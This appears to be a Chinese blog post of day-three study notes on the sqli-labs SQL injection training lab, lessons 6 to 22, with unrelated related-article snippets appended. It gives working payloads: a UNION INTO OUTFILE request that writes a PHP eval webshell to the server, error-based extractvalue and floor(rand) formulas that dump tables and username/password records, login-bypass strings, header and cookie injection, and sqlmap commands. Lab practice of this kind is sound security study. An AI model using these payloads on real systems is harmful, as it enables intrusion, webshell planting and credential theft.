DAY 3

sqli-labs lesson 6

  • 同lesson 5,只是把单引号改为双引号

sqli-labs lesson 7

  • 同lesson 5,只是把单引号后面加两个空格,使用Burpsuit时,需要对结果进行匹配
  • 这一关主要要学习的是sql种into outfile这个命令
    • 这个命令能够把字符串写入文件,但必须拥有目录的权限
    • 可以通过类似lesson5中猜解数据库名称的方法,猜解出@@datadir数据库目录
    • 然后把一句话木马上传到服务器
    • 命令:http://localhost/sqli-labs-master/Less-7/?id=1’))+UNION+SELECT+1,2,"<?php @eval($_GET(‘cmd’)) ?>"+into+outfile+“D:\\phpStudy\\WWW\\sqli-labs-master\\a.php”;–+
    • 注意:如果提示secure-file-priv错误,在mysql.ini中写入"secure_file_priv = "即可
  • sqlmap注入同lesson 2

sqli-labs lesson 8

  • 同lesson 5 布尔型注入

sqli-labs lesson 9

  • 同lesson 5 基于延迟的注入

补充lesson 5的一种手工注入方法

  • 基于错误回显的注入

    • 如果在检测注入点时发现网页会回显sql语法错误,但是网页上却没有能用的回显点,可以使用这种方法。
    • 公式:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 使用时把payload改为SQL语句即可

sqli-labs lesson 10

  • 同lesson 5基于时间延迟的注入,只不过把单引号改为双引号

sqli-labs lesson 11

  • 手工注入

    • 首先想到尝试使用amdin账户登录,事实上,无论能否登录,都不影响这一关
    • 用户名任意,密码填入:1’ OR 1=1;#,会爆出一个用户,说明这里存在注入点,可以尝试联合查询语句。
    • 用户名填:1’ UNION SELECT 1,2;#,密码随意,发现网页上有两个回显点。
    • 其他步骤均与之前相同。

  • sqlmap

    • 命令:python sqlmap.py -u http://localhost/sqli-labs-master/Less-11/ --data “uname=1&passwd=1&submit=Submit” --batch
    • –data参数:用于发送数据,GET和POST方法均适用。
    • 其他均相同
    • 补充
      • –dbs参数:查询所有数据库
      • –threads x:设置最大病发线程数,建议不要超过10
      • –techniques X(X=B布尔型,E报错型,U联合注入型,T延迟型):指定注入类型

sqli-labs lesson 12

  • 同上一题,把单引号改为双引号加右括号

sqli-labs lesson 13

  • 闭合符号为单引号加右括号,由于没有注入点,可以使用报错型注入,也可与基于返回的图片使用布尔型注入。
  • 可以使用Burpsuit辅助,简化注入过程
  • sqlmap注入过程极慢

sqli-labs lesson 14

  • 闭合符号为双引号,其他同lesson 13
  • 注意使用HackBar时,要把符号编码

sqli-labs lesson 15

  • 布尔型注入,闭合符号为单引号,同lesson 13

sqli-labs lesson 16

  • 布尔型注入,闭合符号为双引号加右括号。

sqli-labs lesson 17

  • 这是个更新密码的操作,使用的是SQL语句中的UPDATE
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
  • 可以使用报错型注入
  • 也可以使用延时型注入
  • 根据源码,UPDATE语句中的用户名是经过一次转义并且SELECT之后获得的用户名,所以不能直接在用户名上检测

sqli-labs lesson 18

  • 注入点在HTTP头,抓包修改User-Agent即可(可使用Burpsuit,其他抓包工具一般也支持),这一关是SQL的插入语句,这里使用报错型注入
  • 报错型注入的第二种公式:'and extractvalue(1,concat(0x7e,(payload),0x7e))
    • 爆库:'and extractvalue(1,concat(0x7e,(database()),0x7e)) and ‘1’='1

    • 爆表:'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
    • 爆字段:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
    • 爆记录:'and extractvalue(1,concat(0x7e,(select concat_ws(",",username,password) from security.users limit n,1),0x7e)) and ‘1’='1

sqli-labs lesson 19

  • 同lesson 18,只不过改成修改Referer参数了

sqli-labs lesson 20

  • 根据源码,这一次,是要修改COOKIE里的uname值,方法同lesson 18

sqli-labs lesson 21

  • COOKIE中的用户名经过base64编码,所以注入方法同lesson 20,注意要把payload也进行编码

sqli-labs lesson 22

  • 和上一题一样,只不过闭合闭合符号使用的双引号,修改一下符号即可

sqli-labs学习笔记 DAY3的更多相关文章

  1. python网络爬虫与信息提取 学习笔记day3

    Day3: 只需两行代码解析html或xml信息    具体代码实现:day3_1    注意BeautifulSoup的B和S需要大写,因为python大小写敏感 import requests r ...

  2. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  3. Python学习笔记——Day3

    Python字典(Dictionary) 字典是一种可变容器模型,可存储任意类型对象. 字典的每个键值(key => value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花 ...

  4. [python学习笔记]Day3

    函数 如: def is_leapyear(year): if (year%4 == 0 and year%100 != 0) or (year%400 == 0): return True else ...

  5. JS学习笔记Day3

    一.什么是循环结构 满足一定条件,(((重复)))执行一段相同的代码 二.循环思想是什么(循环三要素) 开始 结束 步长(步进) 三.可以实现循环语句的有哪些 while do while for 四 ...

  6. HTML学习笔记Day3

    一.CSS样式 1.每个css样式都必须由两部分组成:选择符(Selector)+声明(Deleration) 注:声明又包括属性(Properyt)和属性值(value) 2.css属性:属性是指定 ...

  7. python学习笔记Day3

    set有点:1.访问速度快 2.天生解决了重复问题 tuple与set区别: 元组可重复,set不可重复创捷集合1 >>> s1.add('alex')>>> pr ...

  8. Python学习笔记 - day3 - 数据类型及运算符

    Python的数据类型 计算机顾名思义就是可以做数学计算的机器,因此,计算机程序理所当然地可以处理各种数值.但是,计算机能处理的远不止数值,还可以处理文本.图形.音频.视频.网页等各种各样的数据,不同 ...

  9. Linux20期学习笔记 Day3

    管道符.通配符.转义符及部分常用命令.考点

随机推荐

  1. 维度属性的KeyColumns如果是Integer类型,那么维度表中该列的值不能有为null的

    如果维度属性的 KeyColumns的DataType设置为了Integer类型,那么要注意该维度属性列在数据库中不能有为null的值. 例如下图中我们有维度DIM_Vehcile,其中有个维度属性叫 ...

  2. ssh框架错误:org.hibernate.LazyInitializationException: failed to lazily initialize a collection of role。

    在做ssh项目练习的时候出现问题: org.hibernate.LazyInitializationException: failed to lazily initialize a collectio ...

  3. shell习题第10题:打印每个单词的字数

    [题目要求] 用shell打印下面这句话中字母数小于6的单词. Bash also interprets a number of multi-character options. [核心要点] for ...

  4. JAVA 设计模式之原型模式

    目录 JAVA 设计模式之原型模式 简介 Java实现 1.浅拷贝 2.深拷贝 优缺点说明 1.优点 2.缺点 JAVA 设计模式之原型模式 简介 原型模式是六种创建型设计模式之一,主要应用于创建相同 ...

  5. Struts2速记手册

    工作原理 Action类 Action类 普通Action类 私有属性及getter.setter(处理请求参数) execute()方法(处理请求)   实现Action接口 提供常量   继承Ac ...

  6. [转]Python爬虫html解析工具beautifulSoup在pycharm中安装及失败的解决办法

    原文地址:https://www.cnblogs.com/yysbolg/p/9040649.html 刚开始学习一门技术最麻烦的问题就是搞定IDE环境,直接在PyCharm里安装BeautifulS ...

  7. VB错误说明

    1001 800A03E9 内存不足 1002 800A03EA 语法错误 1003 800A03EB 缺少“:” 1005 800A03ED 需要 '(' 1006 800A03EE 需要 ')' ...

  8. 初识hadoop之分布式文件系统(HDFS)

    Hadoop常用发行版: Apache Hadoop CDH  Cloudera Distributed Hadoop HDP  Hortonworks Data Platfrom 分布式文件系统(H ...

  9. 学习python的一些脚本

    python生产者与消费者模型 # -*- coding:utf-8 -*- import threading import random import time gMoney = 1000 gLoc ...

  10. leetcode记录-回文数

    判断一个整数是否是回文数.回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数. 示例 1: 输入: 121 输出: true 示例 2: 输入: -121 输出: false 解释: 从左向 ...